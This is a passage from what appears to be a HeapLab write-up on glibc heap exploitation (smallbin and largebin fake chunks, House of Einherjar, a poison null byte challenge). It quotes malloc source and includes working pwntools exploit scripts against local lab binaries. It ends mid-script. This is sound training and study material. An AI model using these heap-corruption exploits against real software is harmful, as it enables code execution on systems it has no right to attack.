  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3406
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3407
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3408
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3409
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3410
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3411
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3412
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3413
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3414
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3415
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3416
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3417
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3418
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3419
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3420
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>  idx <span style="color:#00d3d0">=</span> <span style="color:#feacd0">smallbin_index</span> (nb);
</span></span><span style="display:flex;"><span>  bin <span style="color:#00d3d0">=</span> <span style="color:#feacd0">bin_at</span> (av, idx);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> ((victim <span style="color:#00d3d0">=</span> <span style="color:#feacd0">last</span> (bin)) <span style="color:#00d3d0">!=</span> bin)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">if</span> (victim <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0</span>) <span style="color:#a8a8a8">/* initialization check */</span>
</span></span><span style="display:flex;"><span>        <span style="color:#feacd0">malloc_consolidate</span> (av);
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">else</span>
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>          bck <span style="color:#00d3d0">=</span> victim<span style="color:#00d3d0">-&gt;</span>bk;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__glibc_unlikely</span> (bck<span style="color:#00d3d0">-&gt;</span>fd <span style="color:#00d3d0">!=</span> victim))
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>              errstr <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;malloc(): smallbin double linked list corrupted&#34;</span>;
</span></span><span style="display:flex;"><span>              <span style="color:#b6a0ff">goto</span> errout;
</span></span><span style="display:flex;"><span>            }</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>So there&rsquo;s no size check, but the fake chunk&rsquo;s <kbd>bk</kbd> pointer needs to point to a chunk whose <kbd>fd</kbd> pointer points back to the fake chunk (whew).
I chose to create another fake chunk on the heap for this purpose, but there&rsquo;s no PIE so we could just as easily put a new fake chunk right next to the original fake chunk.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></p>





  
  
    
    
    
  
  
    

  
  
    
    
  

  
  
    




  


  





<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><a href="#code-snippet--lore-setup">&lt;&lt;lore-setup&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x90</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>) <span style="color:#00d3d0">+</span> p64(heap) <span style="color:#00d3d0">+</span> p64(heap <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0x90</span>))<sup id="fnref:3"><a class="footnote-ref" href="#fn:3" role="doc-noteref">3</a></sup>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0xa0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk C</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x90 smallbin: [chunk A] -&gt; NULL</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(<span style="color:#00bcff">0xdeadbeefdeadbeef</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x90 smallbin: [fake chunk] &lt;- [chunk A] -&gt; 0xdeadbeefdeadbeef</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">1</span>, p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">4</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">48</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;target: &#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>

<h4 id="largebins">Largebins</h4>
<p>Free chunks that don&rsquo;t fit in a fastbin or smallbin are sorted into a largebin (ignoring the tcache).
Each largebin actually covers a range of bins, with larger bins covering progressively larger ranges; in addition to the linked list of chunks (of all sizes that largebin covers), each largebin has another linked list which links at most one chunk of each size that bin covers.
I like to think of each largebin as having an &ldquo;inner&rdquo; (skip list) and &ldquo;outer&rdquo; (regular) linked list, like this:
<img src="https://feyor.sh/writeups/heaplab/largebins.svg" alt=""></p>
<p>Actually linking in a fake chunk is straightforward; the only hiccup is that the chunk we&rsquo;re tampering with can&rsquo;t be the last chunk in that bin, otherwise we&rsquo;ll never follow one of that chunk&rsquo;s corrupted pointers:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3620
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3621
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3622
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3623
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3624
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3625
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Avoid removing the first entry for a size so that the skip
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">   list does not have to be rerouted.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">if</span> (victim <span style="color:#00d3d0">!=</span> <span style="color:#feacd0">last</span> (bin)
</span></span><span style="display:flex;"><span> <span style="color:#00d3d0">&amp;&amp;</span> <span style="color:#feacd0">chunksize_nomask</span> (victim)
</span></span><span style="display:flex;"><span> <span style="color:#00d3d0">==</span> <span style="color:#feacd0">chunksize_nomask</span> (victim<span style="color:#00d3d0">-&gt;</span>fd))
</span></span><span style="display:flex;"><span>  victim <span style="color:#00d3d0">=</span> victim<span style="color:#00d3d0">-&gt;</span>fd;</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>So we need to link in another real chunk with size less than or equal to the size of the first real chunk.</p>





  
  
    

  
  
    
    
  

  
  
    





  





<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><a href="#code-snippet--lore-setup">&lt;&lt;lore-setup&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x410</span> <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0b1</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x410</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x400</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">2</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x420</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x400 largebin: [chunk A] &lt;=&gt; [chunk B]</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">#                                 +----v</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># 0x400 largebin: [chunk A] -&gt; [fake chunk] [chunk B]</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8">#                     ^-------------------------^</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x410</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">5</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">48</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;target: &#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>

<h2 id="house-of-einherjar">House of Einherjar</h2>
<p>This is a single null byte heap overflow; this allows us to zero out the flags (notably <code>PREV_INUSE</code>) of an adjacent chunk on the heap.
Consequently, we can force backwards consolidation with a fake chunk, leading to an overlapping chunk primitive (which can easily be pivoted to a UAF).</p>
<h3 id="solve">Solve</h3>
<p>Here we abuse backwards consolidation to create a fake chunk overlapping the target data.
We can clear the <code>PREV_INUSE</code> bit of the victim chunk and then free it, or alternatively <a href="/writeups/heaplab/#challenge-solve">free it first</a> and then use the null byte overflow to decrease the freed victim chunk&rsquo;s <kbd>size</kbd>.</p>
<p>A cool trick is that instead of using a legitimate <kbd>size</kbd> for the fake chunk (which we can&rsquo;t calculate in this instance because we don&rsquo;t yet know the heap address), we can set it to 8.<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>
Computing the chunk following a size 8 chunk results in a chunk whose <kbd>prev_size</kbd> overlaps the size 8 chunk&rsquo;s <kbd>size</kbd>, which passes the safe unlinking checks.</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1388
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1389
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1390
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">#define unlink(AV, P, BK, FD) {                                               \
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8">      malloc_printerr (&#34;corrupted size vs. prev_size&#34;);                       \</span></span></span></code></pre></td></tr></table>
</div>
</div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_einherjar&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">-</span> <span style="color:#00bcff">1</span>
</span></span><span style="display:flex;"><span>malloc<span style="color:#00d3d0">.</span>index <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;Enter your username: &#34;</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chunk_A <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>chunk_B <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x100</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>edit(chunk_A, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> p64((heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x90</span>)<span style="color:#00d3d0">-</span>elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>user))
</span></span><span style="display:flex;"><span>free(chunk_B)
</span></span><span style="display:flex;"><span>chunk_C <span style="color:#00d3d0">=</span> malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># serviced from the fake top chunk</span>
</span></span><span style="display:flex;"><span>edit(chunk_C, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;C&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;pwned</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;4&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;target: &#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;pwned\n&#39;</span></span></code></pre></div>

<h3 id="challenge-solve"><span class="org-todo todo TODO">TODO</span> Challenge solve</h3>
<p>In this variant we don&rsquo;t control the <kbd>prev_size</kbd> field of the victim chunk.</p>
<p>As alluded to earlier, we can decrease the <kbd>size</kbd> of a freed chunk, service an allocation from it (this does not update the <kbd>prev_size</kbd> and <code>PREV_INUSE</code> of the following chunk because we tampered with <kbd>size</kbd>), and then free the adjacent chunk, leading to an active chunk in the middle of a free chunk.
We can then use this to read unsortedbin linked list pointers for a libc and heap leak.</p>
<p>To gain code execution, I initially tried using an unsortedbin attack to clobber <kbd>global_max_fast</kbd> to a very large value in order for large chunks to be qualified for fastbin insertion, and then used this to link a fake <code>0xf0</code> chunk overlapping <kbd>__malloc_hook</kbd> into the fastbin freelist; however, due to poor register and stack control I was unable to meet the constraints of the one_gadgets in libc.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;poison_null_byte&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">calloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
